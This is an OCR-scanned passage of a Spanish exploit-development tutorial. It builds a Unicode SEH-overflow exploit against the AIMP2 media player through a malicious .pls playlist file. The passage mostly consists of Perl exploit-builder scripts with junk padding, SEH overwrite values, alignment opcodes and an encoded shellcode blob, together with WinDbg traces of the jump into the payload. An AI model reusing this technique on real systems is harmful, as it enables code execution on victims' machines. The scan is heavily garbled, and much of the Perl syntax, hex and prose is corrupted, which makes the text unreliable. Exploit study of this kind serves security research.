0012fde0 42 00 42 00 42 00 42 00-42 00 42 00 42 00
0012fdf0 42 00 42 00 42 00 42 00-42 00 42 00 42 00
0012fe00 42 00 42 00 42 00 42 00-42 00 42 00 42 00
0012fe10 42 00 42 00 42 00 42 00-42 00 42 00 42 00

ff ff

P????7?2??7?7?7?7?7?7?

f St.[(8H..

42 00
42 00
42 00
42 00
42 00
42 00
42 00
42 00

A.m...E.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.
B.B.B.B.B.B.B.B.

La cuarta direccion nos acerca a huestras B'snEesdo que tenemos que
hacer es poner la cuarta direccion en EAX y aumlanten poco, para que
apunte a un lugar donde podamos poner nuestra&tell

Obtener la cuarta direccion es tan simple como rhacatro POP’S
seguidos. Entonces si quieres hacer POP EAX, POR BEAP EAX, POP
EAX, entonces el ultimo "POP EAX" tendra la cuatti@ccion de ESP.
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En la Shellcode veneciana, esto seria:

$align =" \x58 "; #
$align=%$align." \x6d ";
$align=$align." \x58 ";
$align=%align." \x6d "

$align=$align." \x58 ";
$align=%$align." \x6d "
$align=%$align." \x58 "
$align=%align." \x6d "

Vamos a aumentar EAX s6lo un poco. La cantidad pegueiia que
podemos afadir facilmente es 100, lo cual puedersacmediante el
siguiente cddigo:

#now increase the address in eax so it would point

$align = $align." \x05\x02\x11 "; #add eax,11000200
$align=$align." \x6d "; #align/nop

$align=%$align." \x2d\x01\x11 "; # €ax,11000100
$align=%$align." \x6d "; #align/nop

Por ultimo, tendremos que saltar a EAX:

$jump=" \x50 "; # eax
$jump=$jump.” \x6d "; #nop/align
$jump=Sjump.” \xc3 "; #ret

Después del salto, vamos a poner B’s. Vamos d pedemos ir a las B’s.
Cadigo:

$header =" [playlist\nNumberOfEntries=1\n\n
$header=$header.” Filel= ;

$junk=" A" x 4065;

$seh=" \x41\x6d "; # inc ecx + add byte ptr [ebp],ch

$nseh=" \x0e\x45 "; #0045000E aimp2.dll

#good stuff on the stack, we need 4th address
$align =" \x58 "; # eax

$align=%$align." \x6d ";

$align=%$align." \x58 "; # eax

$align=%$align." \x6d ";
$align=%$align." \x58 "; # eax
$align=%$align." \x6d ";

$align=%$align." \x58 "; # eax
$align=%align." \x6d ";

#now increase the address in eax so it would point

$align = $align." \x05\x02\x11 "; #add eax,11000200
$align=%$align." \x6d "; #align/nop

$align=$align." \x2d\x01\x11 "; # eax,11000100
$align=$align." \x6d "; #align/nop
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#ump to eax now

Sjump=" x50 "; # eax
$jump=$jump.” \x6d "; #nop/align
$jump=$jump.” \xc3 "; #ret

#put in 1000 Bs
$rest=" B" x 1000;
$payload=$header.$junk.$seh.$nseh.$align.$jump.$re

(myfile,">aimp2sploit.pls");
myfile $payload,;
" Wrote ". ($payload)." bytes\n *;
(myfile);

Resultado:

eax=0012fda0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdb8 esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200286

<Unloaded_papi.dll>+0x12fda7:

0012fdb8 0500020011 add eax, bass+0x200 (11000200)
0:000>

eax=1112ffa0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdbd esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dlI>+0x12fdac:

0012fdbd 006d00 add byte ptr [ebp],ch

$5:0023:0012d9c0=ff

0:000>

eax=1112ffa0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdc0 esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei pl nz
ac po cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200213

<Unloaded_papi.dll>+0x12fdaf:

0012fdc0 2d00010011 eax, bass+0x100 (11000100)
0:000>

eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdc5 esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dll>+0x12fdb4:

0012fdc5 006d00 add byte ptr [ebp],ch

$s:0023:0012d9c0=31

0:000> d eax

0012fea0 42 00 42 00 42 00 42 00-42 00 42 00 42 00

B.B.B.B.B.B.B.B.
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0012feb0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012fecO 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012fed0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012fee0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012fef0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012ff00 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0012ff10 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00
B.B.B.B.B.B.B.B.

0:000> t

eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdc8 esp=0012d8f0 ebp=0012d9c0 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dll>+0x12fdb7:

0012fdc8 50 eax

0:000> t

eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdc9 esp=0012d8ec ebp=0012d9c0 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dli>+0x12fdb8:

0012fdc9 006d00 add byte ptr [ebp],ch

$5:0023:0012d9c0=63

0:000> t

eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdcc esp=0012d8ec ebp=0012d9c0 iopl=0 oV up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200a86

<Unloaded_papi.dll>+0x12fdbb:

0012fdcc c3 ret

0:000> t

eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fea0 esp=0012d8f0 ebp=0012d9c0 iopl=0 oV up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200a86

<Unloaded_papi.dlI>+0x12fe8f:

Bueno, logramos que EAX apunte a nuestras B smokéecho un salto
exitoso. Ahora tenemos que poner nuestra Shell@dedx0012feaO.
Podemos hacer esto mediante la adicién de un pooelldno entre el salto
y el inicio de la Shellcode. Después de hacer wo me matematicas,
podemos calcular que necesitamos 105 bytes.
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Caodigo:

$header ="  [playlist\nNumberOfEntries=1\n\n
$header=$header.” Filel= ;

$junk=" A" x 4065;

$seh=" \x41\x6d "; # inc ecx + add byte ptr [ebp],ch

$nseh=" \x0e\x45 "; #0045000E aimp2.dll

#good stuff on the stack, we need 4th address
$align =" \x58 "; # eax

$align=$align." \x6d ";

$align=%$align." \x58 "; eax
$align=%$align." \x6d ";

$align=%$align." \x58 "; eax
$align=$align." \x6d ";

$align=$align." \x58 "; eax
$align=%$align." \x6d ";

#now increase the address in eax so it would point buffer
$align = $align." \x05\x02\x11 "; #add eax,11000200

$align=$align." \x6d "; #align/nop

$align=%align." \x2d\x01\x11 "; # eax,11000100

$align=%$align." \x6d "; #align/nop

#ump to eax now

$jump=" x50 "; # eax
$jump=$jump."” \x6d "; #nop/align
$jump=Sjump."” \xc3 "; #ret

#add some padding
$padding=" C'x 105;

#eax points at shellcode

$shellcode=" PPYAIAIAIAIAQATAXAZAPA3QADAZABARA
"LAYAIAQAIAQAPASAAAPAZIAILAIAIAJLIAIAIAXASBAAPAZA .
" BABQIL1AIQIAIQI1111AIAJQILAYAZBABABABAB30APB944JB
" KLKEBU9MOMOKPSOU99UNQ8RS44KPR0O04K22LLDKR2MD4KCBMX
"LOGGOJOBNQKOPIWPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7
"TKORLPTK120LM1Z04KOPBX55Y0D40ZKQXPOPAKOXMHTKR3MP
" KQJ3ISOL19TKNTTKM18VNQKONQ9OFLGQ8OLMKQY7NXKOT5L4
" M33MKHOKSMND45JBR84KOXMTKQHSBFTKLLOKTK28MLM18S4K
" KTAKKQXPSYOTNDMTQKQKS311IQIJPQKOYPQHQOPZTKLRZKSVQM
" 2JKQTMSU89KPKPKPOPQX014K204GKOHU7KIPMMNJILIQXEVDU
" 7TMEMKOHUOLKVCLLISPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC
" QQ2LRCMOLJIA

#more stuff
$rest=" B" x 1000;

$payload=$header.$junk.$seh.$nseh.$align.$jump.$pad ding.$shellcode.$re
st." \n";

(myfile,">aimp2sploit.pls");
myfile $payload;
" Wrote ". ($payload)." bytes\n
(myfile);
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Resultado (con algunos BP’s, nos fijamos en EAXojasites de que se
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haga la llamada a EAX):

0:000> d eax

0012fea0 50 00 50 00 59 00 41 00-49 00 41 00 49 00
0012feb0 49 00 41 00 49 00 41 00-51 00 41 00 54 00
0012fecO 58 00 41 00 5a 00 41 00-50 00 41 00 33 00
0012fed0 41 00 44 00 41 00 5a 00-41 00 42 00 41 00
0012fee0 41 00 4c 00 41 00 59 00-41 00 49 00 41 00

0012fef0
0012ff00
0012ff10
0:000> d
0012ff20
0012ff30
0012ff40
0012ff50
0012ff60
0012ff70
0012ff80
0012ff90
0:000> d
0012ffa0
0012ffb0
(0024 {o]0)
0012ffd0
0012ffe0

41 00 49 00 41 00 51 00-41 00 50 00 41 00
41 00 41 00 41 00 50 00-41 00 5a 00 31 00
49 00 31 00 41 00 49 00-41 00 49 00 41 00

31 00 31 00 41 00 49 00-41 00 49 00 41 00
41 00 35 00 38 00 41 00-41 00 50 00 41 00
41 00 42 00 41 00 42 00-51 00 49 00 31 00
49 00 51 00 49 00 41 00-49 00 51 00 49 00
31 00 31 00 31 00 41 00-49 00 41 00 4a 00
49 00 31 00 41 00 59 00-41 00 5a 00 42 00
42 0041 00 42 00 41 00-42 00 41 00 42 00
30 00 41 00 50 00 42 00-39 00 34 00 34 00

42 00 4b 00 4c 00 4b 00-38 00 55 00 39 00
30 00 4d 00 30 00 4b 00-50 00 53 00 30 00
39 00 39 00 55 00 4e 00-51 00 38 00 52 00
34 00 34 00 4b 00 50 00-52 00 30 00 30 00
4b 00 32 00 32 00 4c 00-4c 00 44 00 4b 00

P.P.Y.ALA.LA.
LALA.Q.AT.A.
X.AZAP.A3.Q.
A.D.AZAB.AR.
ALLAY.ALAQ.
A.lLA.Q.AP.A5.
AAAPAZI1A
.1 A.LALAJ.

1.1ALALAX.
A58 AAPAZ
A.B.AB.Q.I.1.A.

.Q.LALQ.L1.
1.1.1.A1.AJ.Q.

.1.AY.AZB.A.
B.A.B.A.B.A.B.3.
0.A.P.B.9.4.4.J.

B.K.L.K.8.U.9.M.
0.M.0.K.P.S.0.U.
9.9.U.N.Q.8.R.S.
4.4.K.P.R.0.0.4.
K.2.2.L.L.D.K.R.

0012fff0 32 00 4d 00 44 00 34 00-4b 00 43 00 42 00 2.M.D.4.K.C.B.M.
41 63 74 78 20 00 00 00-01 00 00 00 9c 24 00 00

00130010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00

Esto parece estar bien. (O no? Mira mas de cearacd® que nuestra
Shellcode es demasiado grande. Hemos tratado dibiescas alla de

00130000 y que corta nuestra Shellcode. Asi quecpajue no podemos
poner nuestra Shellcode luego de sobrescribir gistre SEH. La

Shellcode es demasiado grande (o nuestro espadaftam disponible es

demasiado pequeno)

Yo podria haber seguido el tutorial que explica admalizar este exploit,
pero yo no lo voy a hacer. Usa tu creatividad ysivpuedes construir tu
propio exploit. Puedes hacer preguntas en mi fgraoy a tratar de
responder a todas las preguntas (sin dar a cotaselucion de inmediato,
por supuesto).

Voy a publicar el exploit funcional en mi blog madelante. Sélo para
demostrar que la construccion de un exploit furaias posible mira el
videohttp://www.youtube.com/watch?feature=player embdéaeiUplB

hplO3U
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Gracias a;

D-Null y Edi Strosar por apoyarme en todo el procds escribir este
tutorial.

D-Null, Edi Strosar, CTF Ninja, FX por la prueba tkctura de este

tutorial. Sus comentarios y retroalimentacién fuoede gran ayuda y muy
valioso para mi!

Finalmente

Si creas tus propias exploits, no te olvides deiagme saludos
(corelanc0da3r).

¢, Preguntas? ¢ Comentarios? ¢ Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-eai$
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